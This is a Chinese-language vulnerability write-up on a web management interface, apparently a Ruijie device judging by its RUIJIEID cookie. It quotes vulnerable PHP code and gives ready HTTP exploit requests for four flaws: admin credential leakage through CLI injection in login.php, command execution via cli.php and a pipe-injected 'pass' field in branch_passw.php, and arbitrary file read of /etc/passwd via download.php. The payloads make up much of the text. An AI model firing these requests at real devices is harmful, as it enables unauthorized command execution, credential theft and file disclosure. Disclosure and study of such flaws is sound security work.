1 简介
- 管理员账号密码泄露:login.php
- 远程命令执行:cli.php、branch_passw.php
- 任意文件读取:download.php
2 漏洞详情
2.1 管理员账号密码泄露
login.php漏洞代码部分为:
if ($username == FALSE || $password == FALSE) {
$data["status"] = 5;
$data["msg"] = "username or password can't empty";
json_echo($data);
exit();
}
$res = execCli("exec", "webmaster $username $password");
if ($res["status"] != 1) {
json_echo($res);
exit();
}
用户名与密码存在时不会进入第一个if判断,CLI指令未做过滤,可控,可进行拼接
跟进execCli最终会执行CLI指令并返回结果
所以构造payload为:
POST /login.php HTTP/1.1
...
username=admin&password=admin?show webmaster user
2.2 远程命令执行
2.2.1 cli.php
cli.php在文件开头包含了core.controller.php,include_once(AROOT . 'mvc' . DS . 'controller' . DS . 'core.controller.php');
此文件下进行了登录判断,所以这个漏洞需要登录才能复现
cli.php漏洞代码部分为:
public function shellAction() {
$command = p("command");
if ($command == false) {
$data["status"] = 2;
$data["msg"] = "no command";
json_echo($data);
exit();
}
$content = [];
exec(EscapeShellCmd($command), $content);
$data = array("status" => true,
"data" => $content);
json_echo($data);
}
post传入command后就直接执行命令了,有回显,EscapeShellCmd对单个命令也影响不大
所以构造payload为:
POST /cli.php?a=shell HTTP/1.1
...
Cookie: RUIJIEID=xxx; user=admin
command=id
2.2.2 branch_passw.php
同样也需要登录后才能复现
branch_passw.php漏洞代码部分为:
public function setAction() {
$pass = p("pass");
if ($pass == FALSE) {
json_echo(false);
return;
}
$command = "/usr/local/evpn/server/cfg_pass.sh config " . $pass;
evpnShell($command);
}
跟进evpnShell
可以看到$pass变量无过滤可控且无回显,可用|
拼接,并将结果重定向至上级目录下进行查看
payload:
POST /itbox_pi/branch_passw.php?a=set HTTP/1.1
...
Cookie: RUIJIEID=77rd2htirat3c6034m9pqer4b3
pass=|id > ../test123xx.txt
请求发送后访问http://xxx/test123xx.txt 可查看执行结果
2.3 任意文件读取
同样也需要登录后才能复现
download.php漏洞代码部分为:
public function read_txtAction() {
$filename = v("file");
if (!file_exists($filename)) {
$data["status"] = 2;
$data["msg"] = $filename . "不存在";
json_echo($data);
exit();
} else {
$fileContent = file_get_contents($filename);
$data = array("status" => true, "data" => $fileContent);
json_echo($data);
}
}
payload:
POST /download.php?a=read_txt HTTP/1.1
...
Cookie: RUIJIEID=xxx
file=/etc/passwd